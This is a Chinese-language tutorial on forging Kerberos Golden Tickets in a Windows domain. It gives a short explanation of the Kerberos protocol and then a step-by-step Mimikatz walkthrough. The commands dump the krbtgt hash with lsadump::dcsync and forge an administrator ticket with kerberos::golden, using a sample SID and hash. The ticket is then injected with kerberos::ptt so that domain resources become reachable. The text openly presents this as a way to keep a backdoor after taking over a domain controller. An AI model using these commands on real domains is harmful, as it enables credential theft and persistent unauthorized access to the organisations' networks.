1、黄金票据是用来留后门的也叫做未知权限,前提条件是你已经拿到了域控的最高权限
一、开始之前我们先来了解一下kerberos
Kerberos是一种由MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。
在Kerberos协议中主要是有三个角色的存在:
-
访问服务的Client(以下表述为Client 或者用户)
-
提供服务的Server(以下表述为服务)
-
KDC(Key Distribution Center)密钥分发中心 kerberos 测试工具介绍
其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。
kerberos的简化认证认证过程如下图
-
AS_REQ: Client向KDC发起AS_REQ,请求凭据是Client hash加密的时间戳
-
AS_REP: KDC使用Client hash进行解密,如果结果正确就返回用krbtgt hash加密的TGT票据,TGT里面包含PAC,PAC包含Client的sid,Client所在的组。
-
TGS_REQ: Client凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求
-
TGS_REP: KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)
-
AP_REQ: Client拿着TGS票据去请求服务
- AP_REP: 服务使用自己的hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。
在AS_REP里面的ticket的encpart是使用krbtgt的hash进行加密的,如果我们拥有krbtgt的hash,就可以给我们自己签发任意用户的TGT票据,这个票据也被称为黄金票据。
二、制作条件
制作金票的条件:
1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的
首先假设拿到了域控,然后从域控来导出hash,之后再进行TGT伪造的操作
使用systeminfo命令获得域名
使用whoami命令 获取SID 后面的500是权限数值不是sid值
工具简介
Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具。我们假设我们已经将mimikatz上传
使用管理员身份运行mimikatz
然后使用privilege::debug提升权限
然后在拿到的域控机子上执行mimikatz # lsadump::dcsync /user:krbtgt /csv
/domain 后面带的是域名
制作黄金票据
我们在域用户的主机上执行
kerberos::golden /admin:administrator /domain:test.local /sid:S-1-5-21-984498941-4114644905-1834303007 /krbtgt:1647666f367353a6cadf9bc1eb8dcf3b /user:administrator
然后当下目录就会出现 ticket.kirbi文件
然后我们再把ticket.kirbi利用mimikatz 进行导入kerberos::purge
#清空已有票据kerberos::ptt 2.kiribi
#导入票据kerberos::list
# 查看票据
可以关闭所有cmd窗口重新以普通成员身份打开
可以看到是拒绝访问的
然后打开mimikatz将ticket.kirbi导入
之后就会看到可以成功访问
也可以看到我们的票据